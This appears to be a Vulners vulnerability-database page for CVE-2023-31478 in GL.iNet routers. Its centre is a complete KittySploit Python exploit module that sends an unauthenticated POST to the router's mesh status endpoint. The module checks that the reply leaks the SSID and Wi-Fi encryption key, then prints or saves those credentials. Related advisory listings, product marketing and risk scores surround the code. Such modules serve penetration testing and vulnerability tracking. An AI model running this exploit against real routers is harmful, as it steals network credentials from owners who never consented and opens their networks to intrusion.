GL.iNET Wi-Fi Key Disclosure (CVE-2023-31478)
| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
| CVE-2023-33623 | 12 Jun 202320:15 | – | attackerkb | |
| CVE-2023-31478 | 10 May 202302:14 | – | circl | |
| GL.iNet devices 安全漏洞 | 9 May 202300:00 | – | cnnvd | |
| CVE-2023-31478 | 9 May 202300:00 | – | cve | |
| CVE-2023-31478 | 9 May 202300:00 | – | cvelist | |
| GL.iNET SSID Key Disclosure Detection | 28 Jul 202611:27 | – | kittysploit | |
| GL.iNET SSID Key Disclosure | 14 Oct 202602:05 | – | nuclei | |
| CVE-2023-31478 | 9 May 202323:15 | – | nvd | |
| CVE-2023-31478 | 9 May 202323:15 | – | osv | |
| Information disclosure | 9 May 202323:15 | – | prion |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""GL.iNET mesh status Wi-Fi key disclosure (CVE-2023-31478)."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Exploit, Http_client):
__info__ = {
'name': 'GL.iNET Wi-Fi Key Disclosure (CVE-2023-31478)',
'description': (
'Exploits CVE-2023-31478 in GL.iNet routers <3.216: unauthenticated POST to '
'/api/router/mesh/status leaks SSID and Wi-Fi encryption key.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2023-31478'],
'platform': Platform.LINUX,
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2023-31478'],
'tags': ['gl-inet', 'router', 'credential-leak', 'vkev'],
'agent': {
'risk': 'high',
'effects': ['credential_access', 'data_exfiltration'],
'expected_requests': 1,
'reversible': True,
'approval_required': True,
'produces': ['credentials', 'tech_hints'],
'chain': {'suggested_followups': ['scanner/http/cve_2023_31478_detect']},
},
}
output_file = OptString('', 'Save JSON response locally', required=False)
def check(self):
r = self.http_request(
method='POST',
path='/api/router/mesh/status',
data='mac=',
headers={'Content-Type': 'application/x-www-form-urlencoded'},
allow_redirects=False,
)
body = (r.text or '') if r else ''
if r and r.status_code == 200 and all(m in body for m in ('"ssid":', '"encryption":')):
return {'vulnerable': True, 'reason': 'GL.iNET mesh status leak confirmed', 'confidence': 'high'}
return {'vulnerable': False, 'reason': 'mesh/status leak failed', 'confidence': 'medium'}
def run(self):
if not self.check().get('vulnerable'):
print_error('GL.iNET router not vulnerable')
return False
r = self.http_request(
method='POST',
path='/api/router/mesh/status',
data='mac=',
headers={'Content-Type': 'application/x-www-form-urlencoded'},
allow_redirects=False,
)
body = (r.text or '') if r else ''
out = str(self.output_file or '').strip()
if out:
with open(out, 'w', encoding='utf-8', errors='replace') as fh:
fh.write(body)
print_success(f'Saved to {out}')
else:
print_success(body[:4000])
return True
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Oct 2026 14:20Current
7.7High risk
Vulners AI Score7.7
CVSS 3.17.5
EPSS0.29699
SSVC